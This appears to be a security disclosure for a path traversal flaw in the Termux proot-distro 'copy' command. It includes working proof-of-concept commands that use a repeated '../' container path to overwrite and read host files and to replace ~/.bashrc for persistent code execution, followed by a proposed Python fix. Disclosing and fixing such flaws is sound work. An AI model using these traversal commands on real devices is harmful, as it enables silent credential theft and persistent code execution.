Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs

Repository

https://github.com/termux/proot-distro

Maintainer: @sylirre

Affected Component

• Package: proot-distro
• Affected command: copy
• Attack surface: Host-side Termux CLI — this is not a guest distro shell issue
• Vulnerability type: Path Traversal (CWE-22)

Affected Versions

Proof of Concept

All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The .bashrc overwritten during testing was immediately restored.

Step 1 — Setup

rm -rf ~/poc
mkdir -p ~/poc

Step 2 — Arbitrary write (overwrite a file outside the container rootfs)

echo "ORIGINAL" > ~/poc/target.txt
echo "PWNED_BY_PROOT_DISTRO" > ~/poc/evil.txt
proot-distro copy 

~/poc/evil.txt 

"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt"

Observed output:

[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.

Verification:

cat ~/poc/target.txt
→ PWNED_BY_PROOT_DISTRO

This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.

Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)

echo "TOP_SECRET" > ~/poc/secret.txt
proot-distro copy 

"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" 

~/poc/read_result.txt

Observed output:

[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'
[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'
[*] Copying files, this may take a while...
[*] Finished copying files.

Verification:

cat ~/poc/read_result.txt
→ TOP_SECRET

This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.

Step 4 — Persistent code execution via .bashrc overwrite

printf 'echo VULN_TRIGGERED > ~/poc/proof.txt\n' > ~/poc/payload.sh
proot-distro copy ~/poc/payload.sh 

"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc"

Observed output:

[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'
[*] Destination: '/data/data/com.termux/files/home/.bashrc'
[*] Copying files, this may take a while...
[*] Finished copying files.

Verification before restart:

cat ~/.bashrc
→
echo VULN_TRIGGERED > ~/poc/proof.txt

After closing and reopening Termux, the new shell sourced .bashrc and executed the payload automatically:

cat ~/poc/proof.txt
→ VULN_TRIGGERED

This confirms that attacker-controlled content written into .bashrc executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.

Attack Scenario

The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls proot-distro copy with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.

On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to .bashrc allows persistent code execution triggered on next login.

Proposed Fix

After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:

import os
def safe_resolve(rootfs, container_path):
candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))
root = os.path.realpath(rootfs)
if candidate != root and not candidate.startswith(root + os.sep):
raise ValueError("path traversal detected: resolved path escapes rootfs")
return candidate

This check must be applied to both the source and destination paths in the copy subcommand.

Additional Notes

• This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.
• No root access was used at any point during testing.
• All test files were self-owned and contained only harmless marker data.
• The .bashrc overwritten during testing was immediately restored after verification.